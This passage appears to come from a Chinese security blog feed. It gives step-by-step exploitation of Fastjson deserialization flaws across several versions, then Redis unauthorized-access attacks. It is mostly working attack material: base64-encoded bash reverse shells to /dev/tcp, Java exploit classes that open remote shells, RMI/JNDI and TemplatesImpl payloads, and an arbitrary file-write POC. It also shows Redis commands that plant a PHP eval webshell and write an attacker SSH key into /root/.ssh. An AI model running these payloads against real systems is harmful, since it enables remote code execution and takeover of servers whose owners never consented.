href="https://ares-x.com/tools/runtime-exec/">https://ares-x.com/tools/runtime-exec/</a></p><p>EXP编码 <code>bash -c &#123;echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQgMD4mMQ==&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exploit</span></span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="title">Exploit</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">        Process p = Runtime.getRuntime().exec(<span class="keyword">new</span> String[]&#123;<span class="string">&quot;bash -i &gt;&amp;  /dev/tcp/127.0.0.1/1234 0&gt;&amp;1&quot;</span>&#125;);<span class="comment">//需要进行 base64 编码</span></span><br><span class="line">        InputStream is = p.getInputStream();</span><br><span class="line">        BufferedReader reader = <span class="keyword">new</span> BufferedReader(<span class="keyword">new</span> InputStreamReader(is));</span><br><span class="line"></span><br><span class="line">        String line;</span><br><span class="line">        <span class="keyword">while</span>((line = reader.readLine()) != <span class="keyword">null</span>) &#123;</span><br><span class="line">            System.out.println(line);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        p.waitFor();</span><br><span class="line">        is.close();</span><br><span class="line">        reader.close();</span><br><span class="line">        p.destroy();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译 EXP 并启动 python 服务器</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#编译</span></span><br><span class="line">javac Exploit.java</span><br><span class="line"><span class="comment"># python 服务</span></span><br><span class="line">python3 -m http.server 8001</span><br></pre></td></tr></table></figure><h3 id="配置RMI环境"><a href="#配置RMI环境" class="headerlink" title="配置RMI环境"></a>配置RMI环境</h3><p>用marshalsec项目，启动一个RMI服务器，监听9999端口，并加载远程类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git clone https:<span class="comment">//github.com/mbechler/marshalsec.git</span></span><br><span class="line">cd marshalsec/</span><br><span class="line">mvn install</span><br><span class="line">mvn clean <span class="keyword">package</span> –DskipTests</span><br><span class="line">cd target/</span><br></pre></td></tr></table></figure><h3 id="启动RMI服务监听"><a href="#启动RMI服务监听" class="headerlink" title="启动RMI服务监听"></a>启动RMI服务监听</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp marshalsec-<span class="number">0.0</span><span class="number">.3</span>-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer <span class="string">&quot;http://1.1.1.1:8888/#Exploit&quot;</span> <span class="number">9999</span></span><br></pre></td></tr></table></figure><p>备注：<a href="http://xx.xx.xx.xx:9999/#POC">http://xx.xx.xx.xx:9999/#POC</a> 是放Java类的地址，类只要写名字即可，不需要加.class，其次类名前要加#</p><h3 id="反弹shell"><a href="#反弹shell" class="headerlink" title="反弹shell"></a>反弹shell</h3><p>把网站json数据包替换，然后发包，VPS即可收到</p><p>这里的EXP 根据Fastjson 版本不同，进行替换</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">1.1</span><span class="number">.1</span><span class="number">.1</span>:<span class="number">8090</span></span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept: *<span class="comment">/*</span></span><br><span class="line"><span class="comment">Accept-Language: en</span></span><br><span class="line"><span class="comment">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span></span><br><span class="line"><span class="comment">Connection: close</span></span><br><span class="line"><span class="comment">Content-Type: application/json</span></span><br><span class="line"><span class="comment">Content-Length: 260</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">&#123;</span></span><br><span class="line"><span class="comment">    &quot;a&quot;:&#123;</span></span><br><span class="line"><span class="comment">        &quot;@type&quot;:&quot;java.lang.Class&quot;,</span></span><br><span class="line"><span class="comment">        &quot;val&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span></span><br><span class="line"><span class="comment">    &#125;,</span></span><br><span class="line"><span class="comment">    &quot;b&quot;:&#123;</span></span><br><span class="line"><span class="comment">        &quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,</span></span><br><span class="line"><span class="comment">        &quot;dataSourceName&quot;:&quot;rmi://2.2.2.2:9999/Exploit&quot;,</span></span><br><span class="line"><span class="comment">        &quot;autoCommit&quot;:true</span></span><br><span class="line"><span class="comment">    &#125;</span></span><br><span class="line"><span class="comment">&#125;</span></span><br></pre></td></tr></table></figure><h1 id="0x04-各个版本利用"><a href="#0x04-各个版本利用" class="headerlink" title="0x04 各个版本利用"></a>0x04 各个版本利用</h1><h2 id="fastjson-1-2-24"><a href="#fastjson-1-2-24" class="headerlink" title="fastjson 1.2.24"></a>fastjson 1.2.24</h2><p>如果弹shell 需要先搭建 rmi 服务器</p><p>将<code>127.0.0.1</code> 换成rmi服务器地址 <code>8653</code> 为rmi 服务器端口</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>you-ip:port</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>*/*</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>en</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>158</span><br><span class="line"></span><br><span class="line"><span class="json">&#123;</span></span><br><span class="line"><span class="json">    <span class="attr">&quot;b&quot;</span>:&#123;</span></span><br><span class="line"><span class="json">        <span class="attr">&quot;@type&quot;</span>:<span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>,</span></span><br><span class="line"><span class="json">        <span class="attr">&quot;dataSourceName&quot;</span>:<span class="string">&quot;rmi://127.0.0.1:8653/Exp&quot;</span>,</span></span><br><span class="line"><span class="json">        <span class="attr">&quot;autoCommit&quot;</span>:<span class="literal">true</span></span></span><br><span class="line"><span class="json">    &#125;</span></span><br><span class="line"><span class="json">&#125;</span></span><br></pre></td></tr></table></figure><h2 id="fastjson-1-2-47"><a href="#fastjson-1-2-47" class="headerlink" title="fastjson 1.2.47"></a>fastjson 1.2.47</h2><p>如果弹shell 需要先搭建 rmi 服务器</p><p>将<code>127.0.0.1</code> 换成rmi服务器地址 <code>8653</code> 为rmi 服务器端口</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/<span class="number">1.1</span></span><br><span class="line">Host: you-ip:port</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: Mozilla/<span class="number">5.0</span> (compatible; MSIE <span class="number">9.0</span>; Windows NT <span class="number">6.1</span>; Win64; x64; Trident/<span class="number">5.0</span>)</span><br><span class="line">Connection: close</span><br><span class="line">Content-<span class="type">Type</span>: application/json</span><br><span class="line">Content-Length: <span class="number">158</span></span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    <span class="string">&quot;a&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.lang.Class&quot;</span>,</span><br><span class="line">        <span class="string">&quot;val&quot;</span>:<span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&quot;b&quot;</span>:&#123;</span><br><span class="line">        <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>,</span><br><span class="line">        <span class="string">&quot;dataSourceName&quot;</span>:<span class="string">&quot;rmi://127.0.0.1:8653/Exp&quot;</span>,</span><br><span class="line">        <span class="string">&quot;autoCommit&quot;</span>:true</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>fastjson burp 插件</p><p><a href="https://github.com/zilong3033/fastjsonScan">https://github.com/zilong3033/fastjsonScan</a></p><h2 id="fastjson-1-2-68"><a href="#fastjson-1-2-68" class="headerlink" title="fastjson 1.2.68"></a>fastjson 1.2.68</h2><h3 id="漏洞概述"><a href="#漏洞概述" class="headerlink" title="漏洞概述"></a>漏洞概述</h3><p>在Fastjson&lt;=1.2.68的版本中，通过新的Gadgets绕过autoType开关，在autoType关闭的情况下仍然可以绕过黑白名单防御机制，通过反序列化漏洞在服务器上执行任意代码</p><p>Fastjson爆出的绕过方法可以通杀 1.2.68 以下所有版本</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Fastjson &lt;= <span class="number">1.2</span><span class="number">.68</span></span><br></pre></td></tr></table></figure><h3 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h3><p>任意文件写入POC</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&quot;x&quot;</span>:&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.lang.AutoCloseable&quot;</span>,<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;sun.rmi.server.MarshalOutputStream&quot;</span>,<span class="string">&quot;out&quot;</span>:&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.util.zip.InflaterOutputStream&quot;</span>,<span class="string">&quot;out&quot;</span>:&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.io.FileOutputStream&quot;</span>,<span class="string">&quot;file&quot;</span>:<span class="string">&quot;/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar&quot;</span>,<span class="string">&quot;append&quot;</span>:<span class="keyword">false</span>&#125;,<span class="string">&quot;infl&quot;</span>:&#123;<span class="string">&quot;input&quot;</span>:<span class="string">&quot;xxx&quot;</span>&#125;,<span class="string">&quot;bufLen&quot;</span>:<span class="number">1048576</span>&#125;,<span class="string">&quot;protocolVersion&quot;</span>:<span class="number">1</span>&#125;&#125;</span><br><span class="line"></span><br><span class="line">&#123;<span class="string">&quot;x&quot;</span>:&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.nio.charset.Charset&quot;</span>,<span class="string">&quot;val&quot;</span>:<span class="string">&quot;500&quot;</span>&#125;&#125;</span><br></pre></td></tr></table></figure><p>JDBC反序列化POC</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.lang.AutoCloseable&quot;</span>, <span class="string">&quot;@type&quot;</span>:<span class="string">&quot;com.mysql.jdbc.JDBC4Connection&quot;</span>,<span class="string">&quot;hostToConnectTo&quot;</span>:<span class="string">&quot;172.20.64.40&quot;</span>,<span class="string">&quot;portToConnectTo&quot;</span>:<span class="number">3306</span>,<span class="string">&quot;url&quot;</span>:<span class="string">&quot;jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&amp;statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&quot;</span>,<span class="string">&quot;databaseToConnectTo&quot;</span>:<span class="string">&quot;test&quot;</span>,<span class="string">&quot;info&quot;</span>:&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;java.util.Properties&quot;</span>,<span class="string">&quot;PORT&quot;</span>:<span class="string">&quot;3306&quot;</span>,<span class="string">&quot;statementInterceptors&quot;</span>:<span class="string">&quot;com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&quot;</span>,<span class="string">&quot;autoDeserialize&quot;</span>:<span class="string">&quot;true&quot;</span>,<span class="string">&quot;user&quot;</span>:<span class="string">&quot;yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn&quot;</span>,<span class="string">&quot;PORT.1&quot;</span>:<span class="string">&quot;3306&quot;</span>,<span class="string">&quot;HOST.1&quot;</span>:<span class="string">&quot;172.20.64.40&quot;</span>,<span class="string">&quot;NUM_HOSTS&quot;</span>:<span class="string">&quot;1&quot;</span>,<span class="string">&quot;HOST&quot;</span>:<span class="string">&quot;172.20.64.40&quot;</span>,<span class="string">&quot;DBNAME&quot;</span>:<span class="string">&quot;test&quot;</span>&#125;&#125;</span><br></pre></td></tr></table></figure><h1 id="0x05-Fastjson不出网利用"><a href="#0x05-Fastjson不出网利用" class="headerlink" title="0x05 Fastjson不出网利用"></a>0x05 Fastjson不出网利用</h1><p><a href="https://github.com/safe6Sec/Fastjson">https://github.com/safe6Sec/Fastjson</a></p><p>1.<strong>服务器出网</strong></p><p>使用<code>jndi</code>注入-<code>ldap -</code>rmi</p><p>2.<strong>服务器不能出网</strong></p><ul><li>直接本地反序列化</li><li><code>BasicDataSource</code>(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)</li><li><code>TemplatesImpl</code>  不常用</li></ul><h2 id="反序列化-bytecodes直接反序列化Poc-TemplatesImpl"><a href="#反序列化-bytecodes直接反序列化Poc-TemplatesImpl" class="headerlink" title="反序列化-_bytecodes直接反序列化Poc  TemplatesImpl"></a><strong>反序列化-_bytecodes直接反序列化Poc</strong>  <code>TemplatesImpl</code></h2><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">com<span class="selector-class">.sun</span><span class="selector-class">.org</span><span class="selector-class">.apache</span><span class="selector-class">.xalan</span><span class="selector-class">.internal</span><span class="selector-class">.xsltc</span><span class="selector-class">.trax</span>.TemplatesImpl</span><br></pre></td></tr></table></figure><p>由于解析json需要额外添加参数Feature，因此实际情况可能不会遇到，这里只是做个记录。首先需要准备一个Poc：</p><p>创建<code>Poc.java</code> 代码如下 <code>exec</code> 为payload，使用低版本Java 执行最好是jdk8 以下的，<code>javac Poc.java</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">import com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line">import com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line">import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line">import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line">import com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line">import java.io.IOException;</span><br><span class="line"></span><br><span class="line">public class Poc extends AbstractTranslet &#123;</span><br><span class="line">public Poc() throws IOException &#123;</span><br><span class="line">        Runtime.getRuntime().<span class="built_in">exec</span>(new String[]&#123;<span class="string">&quot;bash&quot;</span>, <span class="string">&quot;-c&quot;</span>, <span class="string">&quot;bash -i &gt;&amp;  /dev/tcp/127.0.0.1/1234 0&gt;&amp;1&quot;</span>&#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException &#123;</span><br><span class="line">    &#125;</span><br><span class="line">    public static void main(String[] args) throws Exception &#123;</span><br><span class="line">        Poc t = new Poc();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>new String[] 是以数组的方式传送，能执行多个命令，如果不加会报错。</p><p>在使用 python生成字节码</p><p>python <a href="http://fast.py/">fast.py</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import base64</span><br><span class="line">fin = open(r<span class="string">&quot;Poc.class&quot;</span>, <span class="string">&quot;rb&quot;</span>)</span><br><span class="line">fout = open(r<span class="string">&quot;en1.txt&quot;</span>, <span class="string">&quot;w&quot;</span>)</span><br><span class="line">s = base64.encodestring(fin.read()).replace(<span class="string">&quot;\n&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">fout.write(s)</span><br><span class="line">fin.close()</span><br><span class="line">fout.close()</span><br></pre></td></tr></table></figure><p>最终payload</p><p>将生成的字节码放入<code> poc.class_base64</code></p><p>1.2.24 payload</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&quot;@type&quot;</span>:<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>,<span class="string">&quot;_bytecodes&quot;</span>:[<span class="string">&quot;poc.class_base64&quot;</span>],<span class="string">&#x27;_name&#x27;</span>:<span class="string">&#x27;a.b&#x27;</span>,<span class="string">&#x27;_tfactory&#x27;</span>:&#123; &#125;,<span class="string">&quot;_outputProperties&quot;</span>:&#123;&#125;,<span class="string">&quot;_name&quot;</span>:<span class="string">&quot;a&quot;</span>,<span class="string">&quot;_version&quot;</span>:<span class="string">&quot;1.0&quot;</span>,<span class="string">&quot;allowedProtocols&quot;</span>:<span class="string">&quot;all&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p>1.2.47 payload</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="string">&quot;a&quot;</span>: &#123;<span class="string">&quot;@type&quot;</span>: <span class="string">&quot;java.lang.Class&quot;</span>,<span class="string">&quot;val&quot;</span>: <span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>&#125;,<span class="string">&quot;b&quot;</span>: &#123;<span class="string">&quot;@type&quot;</span>: <span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;</span>,<span class="string">&quot;_bytecodes&quot;</span>: [<span class="string">&quot;poc.class_base64&quot;</span>],<span class="string">&#x27;_name&#x27;</span>: <span class="string">&#x27;a.b&#x27;</span>,<span class="string">&#x27;_tfactory&#x27;</span>: &#123;&#125;,<span class="string">&quot;_outputProperties&quot;</span>: &#123;&#125;,<span class="string">&quot;_name&quot;</span>: <span class="string">&quot;b&quot;</span>,        <span class="string">&quot;_version&quot;</span>: <span class="string">&quot;1.0&quot;</span>,<span class="string">&quot;allowedProtocols&quot;</span>: <span class="string">&quot;all&quot;</span>&#125;&#125;</span><br></pre></td></tr></table></figure><h2 id="org-apache-tomcat-dbcp-dbcp2-BasicDataSource"><a href="#org-apache-tomcat-dbcp-dbcp2-BasicDataSource" class="headerlink" title="org.apache.tomcat.dbcp.dbcp2.BasicDataSource"></a>org.apache.tomcat.dbcp.dbcp2.BasicDataSource</h2><p>(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)</p><p>插件地址</p><p><a href="https://github.com/bigsizeme/fastjson-check">https://github.com/bigsizeme/fastjson-check</a></p><p>一键生成链子</p><p>看不到type类型，自行往右拉。</p><p>先config 选择  然后Generte Echo payload</p><p><img src="/2022/498480683/image.png" alt="img"></p><p><img src="/2022/498480683/image.png" alt="img"></p><p><a href="https://jishuin.proginn.com/p/763bfbd63f5d">https://jishuin.proginn.com/p/763bfbd63f5d</a></p><p><a href="https://cloud.tencent.com/developer/article/1785575">https://cloud.tencent.com/developer/article/1785575</a></p><p><a href="https://xz.aliyun.com/t/7104">https://xz.aliyun.com/t/7104</a></p><h1 id="0x06-综合利用脚本"><a href="#0x06-综合利用脚本" class="headerlink" title="0x06 综合利用脚本"></a>0x06 综合利用脚本</h1><p><a href="https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar">https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 <span class="string">&quot;bash=bash -i &gt;&amp;/dev/tcp/x.x.x.x/80 0&gt;&amp;1&quot;</span></span><br></pre></td></tr></table></figure><p>官网 <a href="https://github.com/wyzxxz/jndi_tool">https://github.com/wyzxxz/jndi_tool</a></p><p>参考链接</p><p><a href="https://jishuin.proginn.com/p/763bfbd63f5d">https://jishuin.proginn.com/p/763bfbd63f5d</a>   Fastjson三条利用链</p><p><a href="https://www.cnblogs.com/pickmea/p/15157189.html">https://www.cnblogs.com/pickmea/p/15157189.html</a></p><p><a href="https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg">https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg</a></p><p><a href="https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/">https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/</a></p><p><a href="https://www.cnblogs.com/hei-zi/p/13274272.html">https://www.cnblogs.com/hei-zi/p/13274272.html</a></p>]]></content>
    
    
    <summary type="html">Fastjson 概述,漏洞利用,不出网利用合集</summary>
    
    
    
    <category term="漏洞利用" scheme="https://fz1lin.com/categories/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Fastjson" scheme="https://fz1lin.com/tags/Fastjson/"/>
    
    <category term="Java" scheme="https://fz1lin.com/tags/Java/"/>
    
  </entry>
  
  <entry>
    <title>redis未授权访问</title>
    <link href="https://fz1lin.com/2022/1972078239/"/>
    <id>https://fz1lin.com/2022/1972078239/</id>
    <published>2022-02-15T12:53:52.000Z</published>
    <updated>2022-05-18T14:28:30.057Z</updated>
    
    <content type="html"><![CDATA[<h2 id="利用条件"><a href="#利用条件" class="headerlink" title="利用条件"></a>利用条件</h2><p>redis 绑定端口 6379，且任意IP能访问，无密码直接登录 redis，登录需要在本地安装redis</p><p>本地安装 redis</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">wget http://download.redis.io/releases/redis-2.8.17.tar.gz</span><br><span class="line">tar xzvf redis-2.8.17.tar.gz </span><br><span class="line"><span class="built_in">cd</span> redis-2.8.17</span><br><span class="line">make</span><br><span class="line"><span class="built_in">cd</span> src</span><br><span class="line">cp redis-server /usr/bin/</span><br><span class="line">cp redis-cli /usr/bin/</span><br><span class="line"><span class="built_in">cd</span> ..</span><br><span class="line">cp redis.conf /etc/</span><br><span class="line">redis-server /etc/redis.conf</span><br></pre></td></tr></table></figure><p>测试未授权访问</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h 目标IP -p 6379</span><br></pre></td></tr></table></figure><h2 id="redis-写入-webshell"><a href="#redis-写入-webshell" class="headerlink" title="redis 写入 webshell"></a>redis 写入 webshell</h2><p>利用条件</p><p>存在未授权访问漏洞，并登录redis，需要知道 web 服务器目录，并有增删改查的权限</p><blockquote><p>web服务器目录，需要自己根据获取路径更改</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h 目标IP -p 6379</span><br><span class="line">config <span class="built_in">set</span> dir /var/www/html/         <span class="comment"># web服务器目录，替换</span></span><br><span class="line">config <span class="built_in">set</span> dbfilename shell.php</span><br><span class="line"><span class="built_in">set</span> xxx <span class="string">&quot;\r\n\r\n&lt;?php eval(<span class="variable">$_POST</span>[whoami]);?&gt;\r\n\r\n&quot;</span></span><br><span class="line">save</span><br></pre></td></tr></table></figure><h2 id="redis-写入-SSH"><a href="#redis-写入-SSH" class="headerlink" title="redis 写入 SSH"></a>redis 写入 SSH</h2><p>利用条件</p><p>存在未授权访问漏洞，并登录redis，.ssh目录有写入的权限</p><p>原理</p><p>原理就是在数据库中插入一条数据，将本机的公钥作为value，key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生成一个授权的key。</p><p>攻击机</p><p>生成 SSH 密钥，导入key.txt，再把key.txt写入redis 服务器中</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t rsa</span><br><span class="line">(<span class="built_in">echo</span> -e <span class="string">&quot;\n\n&quot;</span>; cat /root/.ssh/id_rsa.pub; <span class="built_in">echo</span> -e <span class="string">&quot;\n\n&quot;</span>) &gt; /root/.ssh/key.txt</span><br><span class="line">cat /root/.ssh/key.txt | redis-cli -h 目标IP -x <span class="built_in">set</span> xxx</span><br></pre></td></tr></table></figure><p>登录 redis 写入ssh，文件名为 auth_keys</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h 目标IP</span><br><span class="line">config <span class="built_in">set</span> dir /root/.ssh</span><br><span class="line">config <span class="built_in">set</span> dbfilename auth_keys</span><br><span class="line">save</span><br></pre></td></tr></table></figure><p>测试登录</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh 目标IP</span><br></pre></td></tr></table></figure><h2 